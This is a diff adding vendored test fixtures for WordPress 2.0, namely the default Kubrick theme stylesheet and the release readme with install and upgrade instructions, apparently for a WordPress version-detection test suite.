font-weight: bold;
|
||||
}
|
||||
|
||||
.commentlist cite, .commentlist cite a {
|
||||
font-weight: bold;
|
||||
font-style: normal;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
font-weight: normal;
|
||||
line-height: 1.5em;
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
#sidebar {
|
||||
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
|
||||
color: #777;
|
||||
}
|
||||
|
||||
code {
|
||||
font: 1.1em 'Courier New', Courier, Fixed;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps
|
||||
{
|
||||
font-size: 0.9em;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
a, h2 a:hover, h3 a:hover {
|
||||
color: #06c;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #147;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
font-size: 9pt;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar th {
|
||||
font-style: normal;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
/* End Typography & Colors */
|
||||
|
||||
|
||||
|
||||
/* Begin Structure */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
margin: 20px auto;
|
||||
padding: 0;
|
||||
width: 760px;
|
||||
border: 1px solid #959596;
|
||||
}
|
||||
|
||||
#header {
|
||||
padding: 0;
|
||||
margin: 0 auto;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#headerimg {
|
||||
margin: 0;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.narrowcolumn {
|
||||
float: left;
|
||||
padding: 0 0 20px 45px;
|
||||
margin: 0px 0 0;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
padding: 10px 0 20px 0;
|
||||
margin: 5px 0 0 150px;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.post {
|
||||
margin: 0 0 40px;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.widecolumn .post {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
padding-top: 5px;
|
||||
}
|
||||
|
||||
.widecolumn .postmetadata {
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
.widecolumn .smallattachment {
|
||||
text-align: center;
|
||||
float: left;
|
||||
width: 128px;
|
||||
margin: 5px 5px 5px 0px;
|
||||
}
|
||||
|
||||
.widecolumn .attachment {
|
||||
text-align: center;
|
||||
margin: 5px 0px;
|
||||
}
|
||||
|
||||
.postmetadata {
|
||||
clear: left;
|
||||
}
|
||||
|
||||
#footer {
|
||||
padding: 0 0 0 1px;
|
||||
margin: 0 auto;
|
||||
width: 760px;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
#footer p {
|
||||
margin: 0;
|
||||
padding: 20px 0;
|
||||
text-align: center;
|
||||
}
|
||||
/* End Structure */
|
||||
|
||||
|
||||
|
||||
/* Begin Headers */
|
||||
h1 {
|
||||
padding-top: 70px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
margin-top: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
margin: 5px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
h3 {
|
||||
padding: 0;
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h3.comments {
|
||||
padding: 0;
|
||||
margin: 40px auto 20px ;
|
||||
}
|
||||
/* End Headers */
|
||||
|
||||
|
||||
|
||||
/* Begin Images */
|
||||
p img {
|
||||
padding: 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
/* Using 'class="alignright"' on an image will (who would've
|
||||
thought?!) align the image to the right. And using 'class="centered',
|
||||
will of course center the image. This is much better than using
|
||||
align="center", being much more futureproof (and valid) */
|
||||
|
||||
img.centered {
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
img.alignright {
|
||||
padding: 4px;
|
||||
margin: 0 0 2px 7px;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
img.alignleft {
|
||||
padding: 4px;
|
||||
margin: 0 7px 2px 0;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.alignright {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.alignleft {
|
||||
float: left
|
||||
}
|
||||
/* End Images */
|
||||
|
||||
|
||||
|
||||
/* Begin Lists
|
||||
|
||||
Special stylized non-IE bullets
|
||||
Do not work in Internet Explorer, which merely default to normal bullets. */
|
||||
|
||||
html>body .entry ul {
|
||||
margin-left: 0px;
|
||||
padding: 0 0 0 30px;
|
||||
list-style: none;
|
||||
padding-left: 10px;
|
||||
text-indent: -10px;
|
||||
}
|
||||
|
||||
html>body .entry li {
|
||||
margin: 7px 0 8px 10px;
|
||||
}
|
||||
|
||||
.entry ul li:before, #sidebar ul ul li:before {
|
||||
content: "\00BB \0020";
|
||||
}
|
||||
|
||||
.entry ol {
|
||||
padding: 0 0 0 35px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.entry ol li {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.postmetadata ul, .postmetadata li {
|
||||
display: inline;
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
}
|
||||
|
||||
#sidebar ul, #sidebar ul ol {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#sidebar ul li {
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
#sidebar ul p, #sidebar ul select {
|
||||
margin: 5px 0 8px;
|
||||
}
|
||||
|
||||
#sidebar ul ul, #sidebar ul ol {
|
||||
margin: 5px 0 0 10px;
|
||||
}
|
||||
|
||||
#sidebar ul ul ul, #sidebar ul ol {
|
||||
margin: 0 0 0 10px;
|
||||
}
|
||||
|
||||
ol li, #sidebar ul ol li {
|
||||
list-style: decimal outside;
|
||||
}
|
||||
|
||||
#sidebar ul ul li, #sidebar ul ol li {
|
||||
margin: 3px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
/* End Entry Lists */
|
||||
|
||||
|
||||
|
||||
/* Begin Form Elements */
|
||||
#searchform {
|
||||
margin: 10px auto;
|
||||
padding: 5px 3px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar #searchform #s {
|
||||
width: 115px;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#sidebar #searchsubmit {
|
||||
padding: 1px;
|
||||
}
|
||||
|
||||
.entry form { /* This is mainly for password protected posts, makes them look better. */
|
||||
text-align:center;
|
||||
}
|
||||
|
||||
select {
|
||||
width: 130px;
|
||||
}
|
||||
|
||||
#commentform input {
|
||||
width: 170px;
|
||||
padding: 2px;
|
||||
margin: 5px 5px 1px 0;
|
||||
}
|
||||
|
||||
#commentform textarea {
|
||||
width: 100%;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#commentform #submit {
|
||||
margin: 0;
|
||||
float: right;
|
||||
}
|
||||
/* End Form Elements */
|
||||
|
||||
|
||||
|
||||
/* Begin Comments*/
|
||||
.alt {
|
||||
margin: 0;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.commentlist {
|
||||
padding: 0;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
margin: 15px 0 3px;
|
||||
padding: 5px 10px 3px;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
margin: 10px 5px 10px 0;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
margin: 5px 0;
|
||||
}
|
||||
|
||||
.nocomments {
|
||||
text-align: center;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
margin: 0;
|
||||
display: block;
|
||||
}
|
||||
/* End Comments */
|
||||
|
||||
|
||||
|
||||
/* Begin Sidebar */
|
||||
#sidebar
|
||||
{
|
||||
padding: 20px 0 10px 0;
|
||||
margin-left: 545px;
|
||||
width: 190px;
|
||||
}
|
||||
|
||||
#sidebar form {
|
||||
margin: 0;
|
||||
}
|
||||
/* End Sidebar */
|
||||
|
||||
|
||||
|
||||
/* Begin Calendar */
|
||||
#wp-calendar {
|
||||
empty-cells: show;
|
||||
margin: 10px auto 0;
|
||||
width: 155px;
|
||||
}
|
||||
|
||||
#wp-calendar #next a {
|
||||
padding-right: 10px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
padding-left: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
display: block;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#wp-calendar td {
|
||||
padding: 3px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar td.pad:hover { /* Doesn't work in IE */
|
||||
background-color: #fff; }
|
||||
/* End Calendar */
|
||||
|
||||
|
||||
|
||||
/* Begin Various Tags & Classes */
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #999;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 15px 30px 0 10px;
|
||||
padding-left: 20px;
|
||||
border-left: 5px solid #ddd;
|
||||
}
|
||||
|
||||
blockquote cite {
|
||||
margin: 5px 0 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
hr {
|
||||
display: none;
|
||||
}
|
||||
|
||||
a img {
|
||||
border: none;
|
||||
}
|
||||
|
||||
.navigation {
|
||||
display: block;
|
||||
text-align: center;
|
||||
margin-top: 10px;
|
||||
margin-bottom: 60px;
|
||||
}
|
||||
/* End Various Tags & Classes*/
|
||||
|
||||
|
||||
|
||||
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
|
||||
It won't be a stylish marriage, I can't afford a carriage.
|
||||
But you'll look sweet upon the seat of a bicycle built for two." */
|
||||
120
spec/fixtures/wp_versions/2.0/readme.html
vendored
Executable file
120
spec/fixtures/wp_versions/2.0/readme.html
vendored
Executable file
@@ -0,0 +1,120 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<style type="text/css" media="screen">
|
||||
<!--
|
||||
html {
|
||||
background: #eee;
|
||||
}
|
||||
body {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 25%;
|
||||
margin-right: 25%;
|
||||
padding: .2em 2em;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #006;
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
p, li, dt {
|
||||
line-height: 140%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
ul, ol {
|
||||
padding: 5px 5px 5px 20px;
|
||||
}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
|
||||
Version 2.0</h1>
|
||||
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg </p>
|
||||
|
||||
<h1 id="installation">Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
|
||||
<li>Save the file as <code>wp-config.php</code> </li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.0:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified </li>
|
||||
<li>Upload the new files</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
|
||||
</dl>
|
||||
|
||||
<h1 id="requirements">System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.1</strong> or higher</li>
|
||||
<li>MySQL version <strong>3.23.23</strong> or higher</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1 id="templates">XML-RPC Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
|
||||
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
|
||||
<h1 id="roles">User Roles </h1>
|
||||
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
626
spec/fixtures/wp_versions/2.0/wp-content/themes/default/style.css
vendored
Executable file
626
spec/fixtures/wp_versions/2.0/wp-content/themes/default/style.css
vendored
Executable file
@@ -0,0 +1,626 @@
|
||||
/*
|
||||
Theme Name: WordPress Default
|
||||
Theme URI: http://wordpress.org/
|
||||
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
|
||||
Version: 1.5
|
||||
Author: Michael Heilemann
|
||||
Author URI: http://binarybonsai.com/
|
||||
|
||||
Kubrick v1.5
|
||||
http://binarybonsai.com/kubrick/
|
||||
|
||||
This theme was designed and built by Michael Heilemann,
|
||||
whose blog you will find at http://binarybonsai.com/
|
||||
|
||||
The CSS, XHTML and design is released under GPL:
|
||||
http://www.opensource.org/licenses/gpl-license.php
|
||||
|
||||
|
||||
*** REGARDING IMAGES ***
|
||||
All CSS that involves the use of images, can be found in the 'index.php' file.
|
||||
This is to ease installation inside subdirectories of a server.
|
||||
|
||||
Have fun, and don't be afraid to contact me if you have questions.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
/* Begin Typography & Colors */
|
||||
body {
|
||||
font-size: 62.5%; /* Resets 1em to 10px */
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
background-color: #d5d6d7;
|
||||
color: #333;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
border: 1px solid #959596;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#header {
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#content {
|
||||
font-size: 1.2em
|
||||
}
|
||||
|
||||
.widecolumn .entry p {
|
||||
font-size: 1.05em;
|
||||
}
|
||||
|
||||
.narrowcolumn .entry, .widecolumn .entry {
|
||||
line-height: 1.4em;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
line-height: 1.6em;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.alt {
|
||||
background-color: #f8f8f8;
|
||||
border-top: 1px solid #ddd;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
#footer {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
small {
|
||||
font-family: Arial, Helvetica, Sans-Serif;
|
||||
font-size: 0.9em;
|
||||
line-height: 1.5em;
|
||||
}
|
||||
|
||||
h1, h2, h3 {
|
||||
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 4em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.description {
|
||||
font-size: 1.2em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
font-size: 1.6em;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
font-family: 'Lucida Grande', Verdana, Sans-Serif;
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 1.3em;
|
||||
}
|
||||
|
||||
h1, h1 a, h1 a:hover, h1 a:visited, .description {
|
||||
text-decoration: none;
|
||||
color: white;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.entry p a:visited {
|
||||
color: #b85b5a;
|
||||
}
|
||||
|
||||
.commentlist li, #commentform input, #commentform textarea {
|
||||
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.commentlist cite, .commentlist cite a {
|
||||
font-weight: bold;
|
||||
font-style: normal;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
font-weight: normal;
|
||||
line-height: 1.5em;
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
#sidebar {
|
||||
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
}
|
||||
|
||||
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
|
||||
color: #777;
|
||||
}
|
||||
|
||||
code {
|
||||
font: 1.1em 'Courier New', Courier, Fixed;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps
|
||||
{
|
||||
font-size: 0.9em;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
a, h2 a:hover, h3 a:hover {
|
||||
color: #06c;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #147;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
font-size: 9pt;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar th {
|
||||
font-style: normal;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
/* End Typography & Colors */
|
||||
|
||||
|
||||
|
||||
/* Begin Structure */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#page {
|
||||
background-color: white;
|
||||
margin: 20px auto;
|
||||
padding: 0;
|
||||
width: 760px;
|
||||
border: 1px solid #959596;
|
||||
}
|
||||
|
||||
#header {
|
||||
padding: 0;
|
||||
margin: 0 auto;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
background-color: #73a0c5;
|
||||
}
|
||||
|
||||
#headerimg {
|
||||
margin: 0;
|
||||
height: 200px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.narrowcolumn {
|
||||
float: left;
|
||||
padding: 0 0 20px 45px;
|
||||
margin: 0px 0 0;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.widecolumn {
|
||||
padding: 10px 0 20px 0;
|
||||
margin: 5px 0 0 150px;
|
||||
width: 450px;
|
||||
}
|
||||
|
||||
.post {
|
||||
margin: 0 0 40px;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.widecolumn .post {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.narrowcolumn .postmetadata {
|
||||
padding-top: 5px;
|
||||
}
|
||||
|
||||
.widecolumn .postmetadata {
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
.widecolumn .smallattachment {
|
||||
text-align: center;
|
||||
float: left;
|
||||
width: 128px;
|
||||
margin: 5px 5px 5px 0px;
|
||||
}
|
||||
|
||||
.widecolumn .attachment {
|
||||
text-align: center;
|
||||
margin: 5px 0px;
|
||||
}
|
||||
|
||||
.postmetadata {
|
||||
clear: left;
|
||||
}
|
||||
|
||||
#footer {
|
||||
padding: 0 0 0 1px;
|
||||
margin: 0 auto;
|
||||
width: 760px;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
#footer p {
|
||||
margin: 0;
|
||||
padding: 20px 0;
|
||||
text-align: center;
|
||||
}
|
||||
/* End Structure */
|
||||
|
||||
|
||||
|
||||
/* Begin Headers */
|
||||
h1 {
|
||||
padding-top: 70px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.description {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h2.pagetitle {
|
||||
margin-top: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar h2 {
|
||||
margin: 5px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
h3 {
|
||||
padding: 0;
|
||||
margin: 30px 0 0;
|
||||
}
|
||||
|
||||
h3.comments {
|
||||
padding: 0;
|
||||
margin: 40px auto 20px ;
|
||||
}
|
||||
/* End Headers */
|
||||
|
||||
|
||||
|
||||
/* Begin Images */
|
||||
p img {
|
||||
padding: 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
/* Using 'class="alignright"' on an image will (who would've
|
||||
thought?!) align the image to the right. And using 'class="centered',
|
||||
will of course center the image. This is much better than using
|
||||
align="center", being much more futureproof (and valid) */
|
||||
|
||||
img.centered {
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
img.alignright {
|
||||
padding: 4px;
|
||||
margin: 0 0 2px 7px;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
img.alignleft {
|
||||
padding: 4px;
|
||||
margin: 0 7px 2px 0;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.alignright {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.alignleft {
|
||||
float: left
|
||||
}
|
||||
/* End Images */
|
||||
|
||||
|
||||
|
||||
/* Begin Lists
|
||||
|
||||
Special stylized non-IE bullets
|
||||
Do not work in Internet Explorer, which merely default to normal bullets. */
|
||||
|
||||
html>body .entry ul {
|
||||
margin-left: 0px;
|
||||
padding: 0 0 0 30px;
|
||||
list-style: none;
|
||||
padding-left: 10px;
|
||||
text-indent: -10px;
|
||||
}
|
||||
|
||||
html>body .entry li {
|
||||
margin: 7px 0 8px 10px;
|
||||
}
|
||||
|
||||
.entry ul li:before, #sidebar ul ul li:before {
|
||||
content: "\00BB \0020";
|
||||
}
|
||||
|
||||
.entry ol {
|
||||
padding: 0 0 0 35px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.entry ol li {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.postmetadata ul, .postmetadata li {
|
||||
display: inline;
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
}
|
||||
|
||||
#sidebar ul, #sidebar ul ol {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#sidebar ul li {
|
||||
list-style-type: none;
|
||||
list-style-image: none;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
#sidebar ul p, #sidebar ul select {
|
||||
margin: 5px 0 8px;
|
||||
}
|
||||
|
||||
#sidebar ul ul, #sidebar ul ol {
|
||||
margin: 5px 0 0 10px;
|
||||
}
|
||||
|
||||
#sidebar ul ul ul, #sidebar ul ol {
|
||||
margin: 0 0 0 10px;
|
||||
}
|
||||
|
||||
ol li, #sidebar ul ol li {
|
||||
list-style: decimal outside;
|
||||
}
|
||||
|
||||
#sidebar ul ul li, #sidebar ul ol li {
|
||||
margin: 3px 0 0;
|
||||
padding: 0;
|
||||
}
|
||||
/* End Entry Lists */
